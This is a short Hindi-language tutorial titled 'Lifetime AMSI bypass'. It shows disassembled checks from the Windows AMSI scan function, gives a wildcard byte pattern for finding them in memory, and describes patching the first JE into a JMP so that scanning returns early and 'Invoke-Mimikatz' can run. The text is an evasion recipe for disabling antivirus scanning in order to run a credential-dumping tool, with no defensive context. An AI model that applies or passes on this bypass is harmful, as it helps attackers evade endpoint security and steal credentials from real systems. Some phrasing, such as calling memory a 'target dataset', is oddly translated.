
Lifetime AMSI bypass
हम प्रत्येक निर्देश के पहले बाइट को खोजकर जंप निर्देश का सटीक पता प्राप्त करते हैं। यह तकनीक लक्ष्य डेटासेट में अपडेट या संशोधन के बावजूद भी प्रभावी रहती है।
उदाहरण के लिए :
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
खोज पैटर्न इस प्रकार होगा :
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

प्रोग्राम RDX के मान की स्वयं से तुलना करता है। यदि तुलना का परिणाम 0 होता है, तो प्रोग्राम लौटने के लिए जंप निष्पादित करता है। अन्यथा, प्रोग्राम अगले निर्देश का मूल्यांकन करने के लिए आगे बढ़ता है।

हम "Invoke-Mimikatz" निष्पादित नहीं कर सकते

हम पहले बाइट को पैच करते हैं और इसे JE से JMP में बदल देते हैं ताकि यह सीधे लौट आए


अब हम "Invoke-Mimikatz" निष्पादित करते हैं
